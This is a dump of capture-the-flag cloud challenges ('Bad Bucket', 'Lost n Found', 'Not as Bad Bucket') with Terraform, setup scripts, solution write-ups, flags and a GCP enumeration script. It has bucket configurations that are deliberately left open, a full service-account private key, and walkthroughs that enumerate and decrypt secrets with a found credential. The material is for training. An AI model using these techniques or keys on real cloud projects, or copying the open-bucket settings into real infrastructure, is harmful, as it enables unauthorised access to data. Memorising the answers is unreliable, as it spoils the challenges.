            </div>
            <p></p>

            <div class="buckets row">
                <div class='col-6' >
                    <img src="buckets/bucket1.jpg" />
                </div>
                <div class='col-6' >
                    <img src="buckets/bucket2.jpg" />
                </div>
            </div>

            <div class="buckets row">
                <div class='col-6' >
                    <img src="buckets/bucket3.png" />

                </div>
                <div class='col-6' >
                    <img src="buckets/bucket4.png" />
                </div>
            </div>
        </div>
    </body>
</html>

================================================
FILE: cloud/bad-bucket/terraform/terraform.tf
================================================
provider "google" {
  project = var.project_id
  region  = "australia-southeast1"
  zone    = "australia-southeast1-b"
}

resource "google_storage_bucket" "bucket-bucket" {
  name          = var.bucket_name
  location      = "AUSTRALIA-SOUTHEAST1"
  force_destroy = true
  uniform_bucket_level_access = false
  website {
    main_page_suffix = "index.html"
  }
} 

data "google_iam_policy" "viewer" {
  binding {
    role = "roles/storage.objectViewer"
    members = [
      "allUsers",
    ]
  }
}

resource "google_storage_bucket_iam_policy" "policy" {
  bucket = google_storage_bucket.bucket-bucket.name
  policy_data = data.google_iam_policy.viewer.policy_data
}

resource "google_storage_bucket_object" "object1" {
  name   = "buckets/bucket1.jpg"
  source = "../src/buckets/bucket1.jpg"
  bucket = google_storage_bucket.bucket-bucket.name
  depends_on = [google_storage_bucket.bucket-bucket]
}

resource "google_storage_bucket_object" "object2" {
  name   = "buckets/bucket2.jpg"
  source = "../src/buckets/bucket2.jpg"
  bucket = google_storage_bucket.bucket-bucket.name
  depends_on = [google_storage_bucket.bucket-bucket]
}

resource "google_storage_bucket_object" "object3" {
  name   = "buckets/bucket3.png"
  source = "../src/buckets/bucket3.png"
  bucket = google_storage_bucket.bucket-bucket.name
  depends_on = [google_storage_bucket.bucket-bucket]
}

resource "google_storage_bucket_object" "object4" {
  name   = "buckets/bucket4.png"
  source = "../src/buckets/bucket4.png"
  bucket = google_storage_bucket.bucket-bucket.name
  depends_on = [google_storage_bucket.bucket-bucket]
}

resource "google_storage_bucket_object" "object_html" {
  name   = "index.html"
  source = "../src/index.html"
  bucket = google_storage_bucket.bucket-bucket.name
  depends_on = [google_storage_bucket.bucket-bucket]
}

resource "google_storage_bucket_object" "object_flag" {
  name   = "buckets/.notaflag"
  source = "../src/buckets/.notaflag"
  bucket = google_storage_bucket.bucket-bucket.name
  depends_on = [google_storage_bucket.bucket-bucket]
}



================================================
FILE: cloud/bad-bucket/terraform/terraform.tfvars
================================================
project_id = "ductf-bad-bucket" # Update: Desired project name.

bucket_name = "the-bad-bucket-ductf"

================================================
FILE: cloud/bad-bucket/terraform/variables.tf
================================================
variable "project_id" {
  description = "GCP Project id"
  type        = string
}

variable "bucket_name" {
  description = "Name of the bucket"
  type        = string
}


================================================
FILE: cloud/lost-n-found/README.md
================================================
# Lost n Found

**Author:** Blue Alder

**Difficulty:** Medium

## Flavor Text

Found this service account key after the results of a pen test but we are running out of time and we are looking to increase the impact of our finding. Can you get some results so we can maximise our bounty, we know there is highly *secretive* material in their Cloud Project!

**Attached files:**
legacy.json (to be generated when project is created)

================================================
FILE: cloud/lost-n-found/challenge.yml
================================================
version: "0.1"
id: lost-n-found
name: Lost n Found
category: cloud
description: |
  Found this service account key after the results of a pen test but we are running out of time and we are looking to increase the impact of our finding. Can you get some results so we can maximise our bounty, we know there is highly *secretive* material in their Cloud Project!

  Author: Blue Alder

tags:
  - medium

files:
  - src/legacy.json

flags:
  - DUCTF{its_time_to_clean_up_your_service_account_permissions!}


================================================
FILE: cloud/lost-n-found/solution.md
================================================
# Solution

So this challenge was all about enumeration and finding what you can do with an old service account key that was kept around for legacy purposes.

If you have followed some of my other Cloud challenges from last year you would know that I love [this](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_enum/-/blob/master/gcp_enum.sh) script from GitLab Red team on enumerating GCP resources So lets go ahead and use that and see what happens.

But before that we need to enable the service account key and make sure we are looking at the right project. So lets take a look at the key.

```json
{
  "type": "service_account",
  "project_id": "${SOME_PROJECT_NAME}",
  "private_key_id": "6baafbed73bf3181fd03b8d26f40eb53f235fe0f",
  "private_key": "-----BEGIN PRIVATE KEY-----<snip></snip>PRIVATE KEY-----\n",
  "client_email": "legacy-svc-account@${SOME_PROJECT_NAME}.iam.gserviceaccount.com",
  "client_id": "110800087806377709098",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://oauth2.googleapis.com/token",
  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
  "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/legacy-svc-account%40${SOME_PROJECT_NAME}.iam.gserviceaccount.com"
}
```

Note that I have removed the private key and the project name given that these could change in the real challenge.

However this key gives us a bit of insight, we now know the project name. We know that the service account is called `legacy-svc-account`.

Cool lets go ahead and see what we can do with it. Activated the key with

`gcloud auth activate-service-account --key-file=legacy.json`

Then lets make sure we are looking at the right project but running:

`gcloud config set project ${SOME_PROJECT_NAME}`

NOTE: We get the project name from the Key above.

Okay so let's run the enumeration script from before and see what we get in the output. The script is a bit old so we get some false positives, but looking in the output folder from the script we can see what it actually found.

After scanning everything we only really get one result which is:
```
[*] Enumerating crypto keys
  [+] SUCCESS
  [!] FAIL
  [+] SUCCESS
```

And looking in `kms.txt` we see 

```
NAME
projects/cloudsupporthacks/locations/global/keyRings/empty-keyring
```

Hmm okay, so there is no keys in this keyring but surely this is here for a reason. It also tells us that we DO have permission to list keyrings. So maybe there are other keyrings we can't see.

A bit of research into this you should find that [keyrings](https://cloud.google.com/sdk/gcloud/reference/kms/keyrings/list) are coupled with a location and by default we are looking at the GLOBAL location.

So let's try and see if there are any other keyrings in any other region. So let's a get a list of all available regions in GCP. We quickly grab a list from online and put it together, or if you haver another GCP project you have access to you can run.

`gcloud compute regions list --format=value(name) > regions.txt`

Then lets try and list all the keyrings again but in each region so:

`for region in $(cat regions.txt); do gcloud kms keyrings list --location ${region}; done;`

And bingo from within the output we get

```
NAME
projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks
```

A keyring in the `australia-southeast2` region, this is good to know and to note down. Let's see if there are any keys in that keyring.

```bash
gcloud kms keys list --keyring wardens-locks --location australia-southeast2

NAME                                                                                                        PURPOSE          ALGORITHM                    PROTECTION_LEVEL  LABELS  PRIMARY_ID  PRIMARY_STATE
projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-big-key       ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED
projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-bronze-key    ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED
projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-diamond-key   ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED
projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-fat-key       ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED
projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-filthy-key    ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED
projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-golden-key    ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED
projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-jail-key      ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED
projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-key-key       ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED
projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-northern-key  ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED
projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-secret-key    ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED
projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-silver-key    ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED
projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-small-key     ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED
projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-smart-key     ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED
projects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/an-iron-key     ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED

```

Jeez okay so now we have a whole lot of keys that are all enabled and can do SYMMETRIC_ENCRYPTION. 

There isn't really much else we can do with this since, we need something to encrypt/decrypt. To use this, so let's keep looking.

There has to be some other piece of data that we are missing. But after investigating the GCP_ENUM script we don't see anything. 

Going back to the challenge description we see the word `secretive` is in italics, is this a hint pointing towards Cloud Secrets?

Lets try and list the secrets in the project.

```bash
gcloud secrets list

NAME               CREATED              REPLICATION_POLICY  LOCATIONS
unused_data        2021-08-27T04:14:12  automatic           -
```

Bingo, another permission we have found we have is to list secrets. Can we... access the secrets? Let's try:

```
gcloud secrets versions list unused_data

NAME  STATE    CREATED              DESTROYED
1     enabled  2021-08-27T04:14:16  -
```

So there is only 1 version which is enabled lets try and grab it:

```bash
gcloud secrets versions access 1 --secret unused_data

CiQA2HYKWM869h0ZRmbEdHfu4AndTgPleZ7sklglz+ifGk/nBU8SZgDcCnx57Or2BojHjcMNJHv+++e6B0Heul1bagPi1xuQ5q+/riw7sy26bDUZpp8/105NI34IkszTMFBfsXvOgMqaMNBu/oGdL07hBLcS5ZCHLK7J9U9AhjZo457NiUcqfjg2u2ErZg==
```

Nice! Some base64, however if we base64 decode it, we just get random data...... encrypted data!

Let's try and use some of the keys from above to see if we can decrypt this data. Saving the decoded base64 to a file called secret.enc.

However we don't know which key to use... or how many. No problems lets just write another for loop.

So lets use [this](https://cloud.google.com/sdk/gcloud/reference/kms/decrypt) command as a reference so we can try this again.

First we need to export a list of the key names in the key ring:

```bash
gcloud kms keys list --keyring wardens-locks --location australia-southeast2 --format=value\(name\) | cut -d/ -f8

a-big-key
a-bronze-key
a-diamond-key
a-fat-key
a-filthy-key
a-golden-key
a-jail-key
a-key-key
a-northern-key
a-secret-key
a-silver-key
a-small-key
a-smart-key
an-iron-key
```

Let's save that to a file called keys.txt and give this another go:

```bash
for key in $(cat keys.txt); do echo Trying $key...; gcloud kms decrypt --key=$key --keyring=wardens-locks --location australia-southeast2 --ciphertext-file=./cipher.enc --plaintext-file=final.txt; done

Trying a-big-key...
ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.
Trying a-bronze-key...
ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.
Trying a-diamond-key...
ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.
Trying a-fat-key...
ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.
Trying a-filthy-key...
ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.
Trying a-golden-key...
ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.
Trying a-jail-key...
ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.
Trying a-key-key...
ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.
Trying a-northern-key...
ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.
Trying a-secret-key...
ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.
Trying a-silver-key...
Trying a-small-key...
ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.
Trying a-smart-key...
ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.
Trying an-iron-key...
ERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.
```

This doesn't look promising. However, we see that final.txt was actually created! And a-silver-key didn't error out. Looking at `final.txt`

We get the flag!

`DUCTF{its_time_to_clean_up_your_service_account_permissions!}`




================================================
FILE: cloud/lost-n-found/src/enum_script/gcp_enum.sh
================================================
#!/bin/bash

###############################################################################
# GCP enumeration script by the GitLab Red Team.

# This script is meant to run from a Linux Google Compute Instance. All
# commands are passive, and will generate miscellaneous text files in the
# `out-gcp-enum` folder in the current working directory.

# Just run the script. Provide a "-d" argument to debug stderr.
###############################################################################

OUTDIR="out-gcp-enum-$(date -u +'%Y-%m-%d-%H-%M-%S')"
META="http://metadata.google.internal"
DEBUG="$1"

# We want a unique output dir, to avoid overwriting anything
if [[ ! -d "$OUTDIR" ]]; then
    mkdir "$OUTDIR"
    echo "[*] Created folder '$OUTDIR' for output"
else
    echo "[!] Output folder exists, something went wrong! Exiting."
    exit 1
fi

# This function will help standardize running a command, appending to a log
# file, and reporting on whether or not it completed successfully
function run_cmd () {
    # Syntaxt will be: run_cmd "[COMMAND]" "[LOGFILE]"
    command="$1"
    outfile="$OUTDIR"/"$2"

    # If script is run with '-d' as the first argument, stderr will be shown.
    # Otherwise, we just assume stderr is a permission thing and give a generic
    # failure message.
    if [[ "$DEBUG" == "-d" ]]; then
        /bin/bash -c "$command" >> "$outfile"
    else
        /bin/bash -c "$command" >> "$outfile" 2>/dev/null
    fi

    # Not providing robust error messages
    if [ $? -eq 0 ]; then
        echo "  [+] SUCCESS"
    else
        echo "  [!] FAIL"
    fi
}

# From here on the syntax is:
#  run_cmd "[COMMAND]" "[LOGFILE]"

echo "[*] Analyzing gcloud configuration"
run_cmd "gcloud info --quiet" "gcloud-info.txt"
run_cmd "gcloud config list --quiet" "gcloud-info.txt"
run_cmd "gcloud auth list --quiet" "gcloud-info.txt"

echo "[*] Scraping metadata server"
url="$META/computeMetadata/v1/?recursive=true&alt=text"
run_cmd "curl '$url' -H 'Metadata-Flavor: Google'" "metadata.txt"

echo "[*] Exporting detailed compute instance info"
run_cmd "gcloud compute instances list --quiet --format=json" "compute-instances.json"

echo "[*] Exporting detailed firewall info"
run_cmd "gcloud compute firewall-rules list --quiet --format=json" "firewall.json"

echo "[*] Exporting detailed subnets info"
run_cmd "gcloud compute networks subnets list --quiet --format=json" "subnets.json"

echo "[*] Exporting detailed service account info"
run_cmd "gcloud iam service-accounts list --quiet --format=json" "service-accounts.json"

echo "[*] Exporting detailed service account key info"
for i in $(gcloud iam service-accounts list --format="table[no-heading](email)"); do
    run_cmd "gcloud iam service-accounts keys list --quiet --iam-account $i --quiet --format=json" \
        "service-account-keys.json"
done

echo "[*] Exporting detailed project IAM info"
url="$META/computeMetadata/v1/project/project-id"
prj=$(curl $url -H "Metadata-Flavor: Google" -s)
run_cmd "gcloud projects get-iam-policy $prj --quiet --format=json" "iam-policy-project.json"

echo "[*] Exporting detailed organization IAM info"
for i in $(gcloud organizations list | awk '{print $2}' | tail -n +2); do
    run_cmd "gcloud organizations get-iam-policy $i --quiet" "iam-policy-org-$i.json"
done

echo "[*] Exporting detailed available project info"
run_cmd "gcloud projects list --quiet --format=json" "projects.json"

echo "[*] Exporting detailed instance template info"
run_cmd "gcloud compute instance-templates list --quiet --format=json" "compute-templates.json"

echo "[*] Exporting detailed custom image info"
run_cmd "gcloud compute images list --no-standard-images --quiet --format=json" "compute-images.json"

echo "[*] Exporting detailed Cloud Functions info"
run_cmd "gcloud functions list --quiet --format=json" "cloud-functions.json"

echo "[*] Exporting detailed Pub/Sub info"
run_cmd "gcloud pubsub subscriptions list --quiet --format=json" "pubsub.json"

echo "[*] Exporting detailed compute backend info"
run_cmd "gcloud compute backend-services list --quiet --format=json" "backend-services.json"

echo "[*] Exporting detailed cloud run info"
run_cmd "gcloud compute backend-services list --quiet --format=json" "backend-services.json"

echo "[*] Exporting detailed AI platform info"
run_cmd "gcloud ai-platform models list --quiet --format=json" "ai-platform.json"
run_cmd "gcloud ai-platform jobs list --quiet --format=json" "ai-platform.json"

echo "[*] Exporting detailed Cloud Source Repository info"
run_cmd "gcloud run services list --platform=managed --quiet --format=json" "cloud-run-managed.json"
run_cmd "gcloud run services list --platform=gke --quiet --format=json" "cloud-run-gke.json"

echo "[*] Exporting detailed Cloud SQL info"
run_cmd "gcloud sql instances list --quiet --format=json" "cloud-sql-instances.json"
for i in $(gcloud sql instances list --quiet | awk '{print $1}' | tail -n +2); do
    run_cmd "gcloud sql databases list --instance $i --quiet" "cloud-sql-databases.txt"
done

echo "[*] Exporting detailed Cloud Spanner info"
run_cmd "gcloud spanner instances list --quiet --format=json" "cloud-spanner-instances.json"
for i in $(gcloud spanner instances list --quiet | awk '{print $1}' | tail -n +2); do
    run_cmd "gcloud spanner databases list --quiet --instance $i" "cloud-spanner-databases.txt"
done

echo "[*] Exporting detailed Cloud Bigtable info"
run_cmd "gcloud bigtable instances list --quiet --format=json" "cloud-bigtable.json"

echo "[*] Exporting detailed Cloud Filestore info"
run_cmd "gcloud filestore instances list --quiet --format=json" "cloud-filestore.json"

echo "[*] Exporting Stackdriver logging info"
run_cmd "gcloud logging logs list --quiet --format json" "logging-folders.json"
for i in $(gcloud logging logs list --quiet --format="table[no-heading](.)"); do
    echo Looking for logs in $i:
    short=$(echo "$i" | tr "/" ".")
    run_cmd "gcloud logging read $i --quiet --format=json" "logging-$short.json"
done
echo "[+] All done, good luck!"

echo "[*] Exporting Kubernetes info"
run_cmd "gcloud container clusters list --quiet --format json" "k8s-clusters.json"
run_cmd "gcloud container images list --quiet --format json" "k8s-images.json"

echo "[*] Enumerating storage buckets"
run_cmd "gsutil ls" "buckets.txt"
run_cmd "gsutil ls -L" "buckets.txt"
for i in $(gsutil ls); do
    run_cmd "gsutil ls $i" "buckets.txt"
done

echo "[*] Enumerating crypto keys"
run_cmd "gcloud kms keyrings list --location global --quiet" "kms.txt"
for i in $(gcloud kms keyrings list --location global --quiet); do
    run_cmd "gcloud kms keys list --keyring $i --location global --quiet" "kms.txt"
done

echo "[+] All done, good luck!"



================================================
FILE: cloud/lost-n-found/src/flag.txt
================================================
DUCTF{its_time_to_clean_up_your_service_account_permissions!}

================================================
FILE: cloud/lost-n-found/src/legacy.json
================================================
{
  "type": "service_account",
  "project_id": "ductf-lost-n-found",
  "private_key_id": "204a0a9969f97549e646f592d1732f5e478492d7",
  "private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCxEd53/PMy+kTz\nf0WTfkk5V7QTc746dz3/RAdgisBm0pJz/prrUKc8g6RfaG7x5EhDIKymNytALcrR\nl/OM9+zDtkK8+r8lwcn/rqH+upPS0fJrVxRElZVLbK6hUn/6dX48n2zV7ANanPuG\nhBR6jICi7aCGUYMch7BocMhMvrtidUaMghp0hjUIO3Gkn+MDwmxhonqsCHJG0VHM\nDDE+NpOIhahjqvlSx6r+4SJjSPgvUElvyg9fo6EcQBk7lKE5ZYKXukBhuDfoWSiw\nMqL4N60sZA3bxlkgopW1Z6feqJTyzogbbsV5ude0+HOo3ATrx+ffnz05VTecHLLp\n5vrjkrR3AgMBAAECggEAB2fc6x3MOiSXf6uiCFIu09QkNvAPU7irAiMhP9ttwp8p\n+un6Jr9fzzseQ9NFWJ6Ymx4hum3yRCPmKK/3Qr0XzPOxhN/j4LtjLGtsYRACoL2h\nKvYgZeHvtZDdGOgvbBU/618rmSLe3QpVxsF9bca0lpvjq9p65lWSfjvBVNxhT/PP\n56aHHUsd1S3d1pwx71sNTWQqVJVg5JVaJx4SVuF7aGDYV9LPOi+dZPRmJV1YiH7v\nMpRQ6TOrsbK5yowIon3j8mm8S0Fxh6w46+6oKozC7DNIc93zsDKCy0c7kgFuBWpz\ne3+Wfz8fKCdc5D+gfDaPCUbFqZxEHFYRnkBbZiaM0QKBgQDaw5lRaBWl3Fu5mTwg\nByjW7zXdKusZhP6RbMV3R/77hiyawuqp12dEgWLLRo0pq0KOtpS93BfjectqndcJ\nq7xODHuWQfZAQNvR9LSsyxf2W160G2KeQajR/OUHvyjHUDRsgDy8q4vGc9ojodwK\n7is+eGdnr4HcRH5+zuaq1dXkbwKBgQDPNX025k/zu1vvSm3kF1AE68vP9kLY/oIU\n2ipKi0t11s0r03OIpBy6Hs8GiHejAgB+5tTLQS4S3wfsO4D17Z+jSK7Ejl0efxJw\nB0apYo2w76LBmDD2uWlfzlzQYwZinfs/8TUGBNpAxHqVjPm+ayl7ACBNzCTTHSKM\n/TXEqJgEeQKBgQDaZ08pA+Yg6ee1WvO48gzm0HkRLmj62FkirNpT5M//IwxjEdgf\n6kpSDW6pjO0fvbg8LLJA/nvnAdCAx8ZJBGiB71pvP7lumpIbgdfjbvukW8Inw/No\nFhtKUdYCLumyWzOLY1e/8PAiF8Wfr1e0neUUgDaUQJdAZi13wm5t/gCGBwKBgHFH\nGLEOr97bKqNi2Ti81e4ayk1in6DpYkvsCPq/s/0z9O5kpuCod1v4w80ahe0DhynZ\nH7QOahW/ACHRVescgQ1PCtxBx/6IEZhVIfgv/K4iE6Qqg3oeWtEZi/wQZsk6/MQ0\nJXyo4nhN8YYYj9/dzcuEgiSF2gvf/ad+NgrQ8GphAoGAcQH3rRoC/IFhUCYbX4Ya\nE/9tHj6U+oG/q4C7Yba/oJ/mPa5NMZtidUj1IwdQCgB3oO7slz0hseXi5iG4viHl\n8FJKxMy2LGJ4+cPjSgOLKaA2iBMxCrIsCFM39qa+8SnBxaXg+UopyFsK7GQIYkoY\nEm/drz8sZGJKBFJoE+NJyWM=\n-----END PRIVATE KEY-----\n",
  "client_email": "legacy-svc-account@ductf-lost-n-found.iam.gserviceaccount.com",
  "client_id": "103100904971904770440",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://oauth2.googleapis.com/token",
  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
  "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/legacy-svc-account%40ductf-lost-n-found.iam.gserviceaccount.com"
}


================================================
FILE: cloud/lost-n-found/src/setup.sh
================================================
#!/bin/bash

SERVICE_ACCOUNT_NAME=legacy-svc-account
PROJECT_NAME=ductf-lost-n-found

gcloud config set project ${PROJECT_NAME}

# Enable APIs
gcloud services enable cloudkms.googleapis.com secretmanager.googleapis.com

# Create key ring

gcloud kms keyrings create empty-keyring --location global # This is so they get a hint to look at KMS
gcloud kms keyrings create wardens-locks --location australia-southeast2 # The real keyring

# Create multiple keys 

gcloud kms keys create a-small-key      --keyring wardens-locks --location australia-southeast2 --purpose "encryption"
gcloud kms keys create a-golden-key     --keyring wardens-locks --location australia-southeast2 --purpose "encryption"
gcloud kms keys create an-iron-key      --keyring wardens-locks --location australia-southeast2 --purpose "encryption"
gcloud kms keys create a-bronze-key     --keyring wardens-locks --location australia-southeast2 --purpose "encryption"
gcloud kms keys create a-silver-key     --keyring wardens-locks --location australia-southeast2 --purpose "encryption"
gcloud kms keys create a-diamond-key    --keyring wardens-locks --location australia-southeast2 --purpose "encryption"
gcloud kms keys create a-filthy-key     --keyring wardens-locks --location australia-southeast2 --purpose "encryption"
gcloud kms keys create a-jail-key       --keyring wardens-locks --location australia-southeast2 --purpose "encryption"
gcloud kms keys create a-northern-key   --keyring wardens-locks --location australia-southeast2 --purpose "encryption"
gcloud kms keys create a-secret-key     --keyring wardens-locks --location australia-southeast2 --purpose "encryption"
gcloud kms keys create a-smart-key      --keyring wardens-locks --location australia-southeast2 --purpose "encryption"
gcloud kms keys create a-big-key        --keyring wardens-locks --location australia-southeast2 --purpose "encryption"
gcloud kms keys create a-fat-key        --keyring wardens-locks --location australia-southeast2 --purpose "encryption"
gcloud kms keys create a-key-key        --keyring wardens-locks --location australia-southeast2 --purpose "encryption"

# Disable all keys except for one

# Encrypt the flag with the key
gcloud kms encrypt --keyring wardens-locks --key a-silver-key --location australia-southeast2 --plaintext-file ./flag.txt --ciphertext-file=./cipher.enc
base64 -w 0 ./cipher.enc > cipher.enc.b64 

# Store the base64 encrypted flag as a secret
gcloud secrets create unused_data --data-file=cipher.enc.b64    

# Create the service account

gcloud iam service-accounts create ${SERVICE_ACCOUNT_NAME} --description="Useless account to protect from takeovers"

# Create role with required permissions
gcloud iam roles create Warden --project=${PROJECT_NAME} --title Warden --stage GA --permissions cloudkms.cryptoKeyVersions.useToDecrypt,cloudkms.cryptoKeys.get,cloudkms.cryptoKeys.list,cloudkms.keyRings.get,cloudkms.keyRings.list,cloudkms.locations.get,cloudkms.locations.list

# Create the IAM binding with the correct roles
gcloud projects add-iam-policy-binding ${PROJECT_NAME} \
    --member=serviceAccount:${SERVICE_ACCOUNT_NAME}@${PROJECT_NAME}.iam.gserviceaccount.com --role projects/${PROJECT_NAME}/roles/Warden

gcloud projects add-iam-policy-binding ${PROJECT_NAME} \
    --member=serviceAccount:${SERVICE_ACCOUNT_NAME}@${PROJECT_NAME}.iam.gserviceaccount.com --role roles/secretmanager.viewer

# Get the Service account key.

gcloud iam service-accounts keys create legacy.json --iam-account=${SERVICE_ACCOUNT_NAME}@${PROJECT_NAME}.iam.gserviceaccount.com

================================================
FILE: cloud/notasbadbucket/README.md
================================================
# Not as Bad Bucket

**Creator:** Blue Alder

**Category:** cloud

**Difficulty:** easy

## Flavortext

Okay fine I admit it, we didn't invest in security in my previous website and we learnt our lesson. Luckily we had a Professional Cloud Architect, architect our new security strategy for our website 2.0!
https://storage.googleapis.com/${BUCKET_NAME}/index.html

## Quick Overview of exploit
Bucket is configured to allow all authenticated users to list and view, looking at the root directy with `gsutil` we can see a flag at pics/flag.txt

Flag: DUCTF{all_AUTHENTICATED_users_means_ALL_AUTHENTICATED_USERS_silly}


================================================
FILE: cloud/notasbadbucket/challenge.yml
================================================
version: "0.1"
id: not-as-bad-bucket
name: Not as Bad Bucket
category: cloud
description: >
  Okay fine I admit it, we didn't invest in security in my previous website and we learnt our lesson. Luckily we had a Professional Cloud Architect, architect our new security strategy for our website 2.0!


  Author: Blue Alder

connection_info: https://storage.googleapis.com/ductf-not-as-bad-ductf/index.html

tags:
  - easy

flags:
  - DUCTF{all_AUTHENTICATED_users_means_ALL_AUTHENTICATED_USERS_silly}


================================================
FILE: cloud/notasbadbucket/solution.md
================================================
# Not as Bad Bucket

This was a semi-sequel to Bad Bucket but you could do both individually. We are again presented with a URL https://storage.googleapis.com/${BUCKET_NAME}/index.html to a site which again is hosted on a bucket. Given that the challenge is again slanted towards buckets there is probably something we have to do here.

The website also notes that 
>`I was made aware of a security flare in my previous website setup, but that has been patched up and now only secret files can be accessed by logged in employees! Phew!` 

We can try to enumerate the bucket by listing its contents in the browser https://storage.googleapis.com/${BUCKET_NAME} but we get an access denied error. The hint above is pointing towards the user group of `allAuthenticatedUsers` which is a group that is allowed access to resources when you are logged in (so basically not anonymous).

To test this out we can try and list the bucket contents logged in through `gcloud`

Running

`gsutil ls gs://${BUCKET_NAME}`

We get the output of 

```
gs://${BUCKET_NAME}/index.html
gs://${BUCKET_NAME}/pics/
```

Awesome so now we can list, lets take a look in the pics/ directory

`gsutil ls gs://${BUCKET_NAME}/pics`

```
gs://${BUCKET_NAME}/pics/flag.txt
gs://${BUCKET_NAME}/pics/lisa.jpg
```

Lets go ahead and grab that `flag.txt` with

`gsutil cp gs://${BUCKET_NAME}/pics/flag.txt .`

And reading the file we get the flag!

`DUCTF{all_AUTHENTICATED_users_means_ALL_AUTHENTICATED_USERS_silly}`

================================================
FILE: cloud/notasbadbucket/src/index.html
================================================
<!DOCTYPE html>

<html>
    <head>
        <title>Cloud Time!</title>
        <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-BmbxuPwQa2lc/FVzBcNJ7UAyJxM6wuqIj61tLrc4wSX0szH/Ev+nYRRuWlolflfl" crossorigin="anonymous">
    </head>
    <body>
        <div class="container">
            <h1>Hello and welcome to my website</h1>
            <p>I'm really happy you could make it to my site! I'm still working on some things and getting up and started but hey I hope you like my website</p>
            <p>While I'm still getting everything up and running please feel free to look at some of these memes!</p>
            <p><i>I was made aware of a security issue in my previous website setup, but that has been patched up and now only secret files can be accessed by logged in employees! Phew!</i></p>
            <button type="button" class="btn btn-primary"> A button (that still does nothing)</button>
            <p> Progress of website being done </p>
            <div class="progress">
                <div class="progress-bar" role="progressbar" style="width: 75%" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100"></div>
              </div>
            <div class="buckets row">
                <div class='col-12' >
                    <img src="pics/lisa.jpg" />
                </div>
            </div>

        </div>
    </body>
</html>

